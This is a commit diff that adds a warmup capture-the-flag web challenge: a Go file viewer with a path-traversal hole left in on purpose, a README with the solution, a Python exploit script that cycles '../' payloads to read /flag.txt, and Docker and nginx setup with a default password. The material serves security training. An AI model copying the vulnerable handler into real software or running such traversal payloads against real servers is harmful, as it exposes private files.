added warmup chall
This commit is contained in:
@@ -1 +1 @@
|
|||||||
GEMASTIK{PLACEHOLDER}
|
GEMASTIK18{PLACEHOLDER}
|
||||||
@@ -1 +1 @@
|
|||||||
GEMASTIK{PLACEHOLDER}
|
GEMASTIK18{PLACEHOLDER}
|
||||||
@@ -1 +1 @@
|
|||||||
GEMASTIK{PLACEHOLDER}
|
GEMASTIK18{PLACEHOLDER}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
GEMASTIK18{PLACEHOLDER}
|
||||||
@@ -13,4 +13,4 @@ services:
|
|||||||
- "13000:8000"
|
- "13000:8000"
|
||||||
- "13022:22"
|
- "13022:22"
|
||||||
environment:
|
environment:
|
||||||
- FLAG=GEMASTIK{local_flag}
|
- FLAG=GEMASTIK18{local_flag}
|
||||||
|
|||||||
@@ -1 +1 @@
|
|||||||
GEMASTIK{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
|
GEMASTIK18{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
|
||||||
@@ -13,4 +13,4 @@ services:
|
|||||||
- "12000:8000"
|
- "12000:8000"
|
||||||
- "12022:22"
|
- "12022:22"
|
||||||
environment:
|
environment:
|
||||||
- FLAG=GEMASTIK{local_flag}
|
- FLAG=GEMASTIK18{local_flag}
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,73 @@
|
|||||||
|
# File Viewer Challenge
|
||||||
|
|
||||||
|
## Description
|
||||||
|
A simple web challenge featuring a Local File Inclusion (LFI) vulnerability. Players need to exploit the file viewer functionality to read the flag located at `/flag.txt`.
|
||||||
|
|
||||||
|
## Challenge Overview
|
||||||
|
- Simple file viewer web application
|
||||||
|
- Players can view sample files through the `/view` endpoint
|
||||||
|
- The file parameter is vulnerable to path traversal
|
||||||
|
- The flag is located at `/flag.txt`
|
||||||
|
- **No flag validation** - players must exploit the vulnerability to read the flag
|
||||||
|
|
||||||
|
## Endpoints
|
||||||
|
- `/` - Main page with file viewer interface
|
||||||
|
- `/view?file=<filename>` - View files (vulnerable to LFI)
|
||||||
|
|
||||||
|
## Files Structure
|
||||||
|
- `/opt/challenge` - The compiled Go binary
|
||||||
|
- `/opt/index.html` - HTML template
|
||||||
|
- `/opt/main.go` - Source code (can be modified)
|
||||||
|
- `/opt/rebuild.sh` - Script to rebuild the challenge after patching
|
||||||
|
- `/opt/files/welcome.txt` - Sample file
|
||||||
|
- `/opt/files/info.txt` - Info about the file viewer
|
||||||
|
- `/opt/files/hint.txt` - Hint for the challenge
|
||||||
|
- `/flag.txt` - The flag file (target, read-only)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
The `/view` endpoint uses `filepath.Join()` to concatenate the base directory with user input:
|
||||||
|
|
||||||
|
```go
|
||||||
|
filePath := filepath.Join("/opt/files/", filename)
|
||||||
|
```
|
||||||
|
|
||||||
|
This is vulnerable to path traversal attacks. Players can use `../` sequences to escape the `/opt/files/` directory and read arbitrary files on the system.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
1. Access the file viewer at http://localhost:14000
|
||||||
|
2. Notice the `/view?file=welcome.txt` endpoint
|
||||||
|
3. Try path traversal: `/view?file=../flag.txt` (won't work - resolves to `/opt/flag.txt`)
|
||||||
|
4. Use more `../` sequences: `/view?file=../../flag.txt`
|
||||||
|
5. This resolves to `/opt/files/../../flag.txt` = `/flag.txt`
|
||||||
|
6. Read the flag
|
||||||
|
|
||||||
|
## Example Exploit
|
||||||
|
```bash
|
||||||
|
# Read the flag
|
||||||
|
curl http://localhost:14000/view?file=../../flag.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
## Deployment
|
||||||
|
```bash
|
||||||
|
docker-compose up --build -d
|
||||||
|
```
|
||||||
|
|
||||||
|
## Access
|
||||||
|
- Web: http://localhost:14000
|
||||||
|
- SSH: ssh ctfuser@localhost -p 14022 (password: warmup123)
|
||||||
|
|
||||||
|
## Patching the Challenge
|
||||||
|
Players can patch the vulnerability by:
|
||||||
|
1. SSH into the container
|
||||||
|
2. Edit `/opt/main.go` to fix the LFI vulnerability
|
||||||
|
3. Run `/opt/rebuild.sh` to rebuild and restart the challenge
|
||||||
|
4. Test that the vulnerability is fixed
|
||||||
|
|
||||||
|
Example fix - add path validation:
|
||||||
|
```go
|
||||||
|
// Prevent path traversal
|
||||||
|
if strings.Contains(filename, "..") {
|
||||||
|
http.Error(w, "Invalid file path", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
services:
|
||||||
|
warmup:
|
||||||
|
container_name: warmup_container
|
||||||
|
hostname: warmup
|
||||||
|
restart: always
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
args:
|
||||||
|
- PASSWORD=${PASSWORD_10000:-warmup123}
|
||||||
|
volumes:
|
||||||
|
- ../../receiver/flags/warmup.txt:/flag.txt:ro
|
||||||
|
- ../../utils/bashrc:/root/.bashrc:ro
|
||||||
|
- ../../utils/preexec.sh:/root/.preexec.sh:ro
|
||||||
|
ports:
|
||||||
|
- "14000:8080"
|
||||||
|
- "14022:22"
|
||||||
|
environment:
|
||||||
|
- PASSWORD=${PASSWORD_10000:-warmup123}
|
||||||
|
- FLAG_FILE=/flag.txt
|
||||||
|
extra_hosts:
|
||||||
|
- "host.docker.internal:host-gateway"
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Exploit for Mango LFI Challenge
|
||||||
|
Demonstrates Local File Inclusion vulnerability to read /flag.txt
|
||||||
|
"""
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
|
||||||
|
def exploit_lfi(base_url):
|
||||||
|
"""
|
||||||
|
Exploit the LFI vulnerability to read /flag.txt
|
||||||
|
"""
|
||||||
|
print("[*] Mango LFI Exploit")
|
||||||
|
print(f"[*] Target: {base_url}")
|
||||||
|
|
||||||
|
# Try to read the flag using path traversal
|
||||||
|
payloads = [
|
||||||
|
"../flag.txt",
|
||||||
|
"../../flag.txt",
|
||||||
|
"../../../flag.txt",
|
||||||
|
"../../../../flag.txt"
|
||||||
|
]
|
||||||
|
|
||||||
|
for payload in payloads:
|
||||||
|
print(f"\n[*] Trying payload: {payload}")
|
||||||
|
try:
|
||||||
|
response = requests.get(f"{base_url}/view", params={"file": payload})
|
||||||
|
|
||||||
|
if response.status_code == 200 and "GEMASTIK18{" in response.text:
|
||||||
|
print(f"[+] SUCCESS! Flag found:")
|
||||||
|
print(f"[+] {response.text.strip()}")
|
||||||
|
|
||||||
|
# Verify the flag
|
||||||
|
flag = response.text.strip()
|
||||||
|
verify_response = requests.post(f"{base_url}/check", data={"flag": flag})
|
||||||
|
if "Correct" in verify_response.text:
|
||||||
|
print("[+] Flag verified successfully!")
|
||||||
|
return True
|
||||||
|
elif response.status_code == 200:
|
||||||
|
print(f"[!] File read successful, but no flag found:")
|
||||||
|
print(f" {response.text[:100]}...")
|
||||||
|
else:
|
||||||
|
print(f"[-] Failed with status code: {response.status_code}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Error: {e}")
|
||||||
|
|
||||||
|
print("\n[-] Flag not found with any payload")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
base_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080"
|
||||||
|
exploit_lfi(base_url)
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
GEMASTIK18{PLACEHOLDER}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
server {
|
||||||
|
listen 8080;
|
||||||
|
server_name _;
|
||||||
|
|
||||||
|
access_log /var/log/nginx/warmup_access.log;
|
||||||
|
error_log /var/log/nginx/warmup_error.log;
|
||||||
|
|
||||||
|
location / {
|
||||||
|
proxy_pass http://127.0.0.1:8081;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>File Viewer</title>
|
||||||
|
<style>
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
body {
|
||||||
|
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
|
||||||
|
background: #f5f5f5;
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
padding: 20px;
|
||||||
|
}
|
||||||
|
.container {
|
||||||
|
background: white;
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 40px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||||
|
max-width: 500px;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
h1 { color: #333; font-weight: 600; margin-bottom: 10px; font-size: 1.8rem; }
|
||||||
|
.subtitle { color: #666; margin-bottom: 30px; font-size: 0.95rem; }
|
||||||
|
.file-section { border-top: 1px solid #eee; padding-top: 25px; margin-top: 25px; }
|
||||||
|
.file-title { color: #333; font-weight: 600; margin-bottom: 8px; font-size: 1rem; }
|
||||||
|
.file-description { color: #666; margin-bottom: 15px; font-size: 0.9rem; }
|
||||||
|
.file-links { display: flex; gap: 10px; flex-wrap: wrap; }
|
||||||
|
.file-link {
|
||||||
|
background: #f9f9f9;
|
||||||
|
color: #333;
|
||||||
|
text-decoration: none;
|
||||||
|
padding: 8px 16px;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
transition: background 0.2s;
|
||||||
|
border: 1px solid #e0e0e0;
|
||||||
|
}
|
||||||
|
.file-link:hover { background: #e8e8e8; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<h1>File Viewer</h1>
|
||||||
|
<p class="subtitle">Simple file viewing application</p>
|
||||||
|
<div class="file-section">
|
||||||
|
<div class="file-title">Available Files</div>
|
||||||
|
<p class="file-description">View files from the collection</p>
|
||||||
|
<div class="file-links">
|
||||||
|
<a href="/view?file=welcome.txt" class="file-link">welcome.txt</a>
|
||||||
|
<a href="/view?file=info.txt" class="file-link">info.txt</a>
|
||||||
|
<a href="/view?file=hint.txt" class="file-link">hint.txt</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Vulnerable file viewing handler - LFI vulnerability
|
||||||
|
func viewHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
// Get the file parameter
|
||||||
|
filename := r.URL.Query().Get("file")
|
||||||
|
|
||||||
|
// Default file if none specified
|
||||||
|
if filename == "" {
|
||||||
|
filename = "welcome.txt"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Vulnerable: directly concatenating user input without proper validation
|
||||||
|
// This allows path traversal attacks
|
||||||
|
filePath := filepath.Join("/opt/files/", filename)
|
||||||
|
|
||||||
|
// Read the file
|
||||||
|
content, err := ioutil.ReadFile(filePath)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "File not found or cannot be read", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "text/plain")
|
||||||
|
w.Write(content)
|
||||||
|
}
|
||||||
|
|
||||||
|
func homeHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
// Serve the HTML template
|
||||||
|
htmlContent, err := ioutil.ReadFile("/opt/index.html")
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "Template not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "text/html")
|
||||||
|
w.Write(htmlContent)
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
http.HandleFunc("/", homeHandler)
|
||||||
|
http.HandleFunc("/view", viewHandler)
|
||||||
|
|
||||||
|
fmt.Println("Starting server on :8081")
|
||||||
|
log.Fatal(http.ListenAndServe(":8081", nil))
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user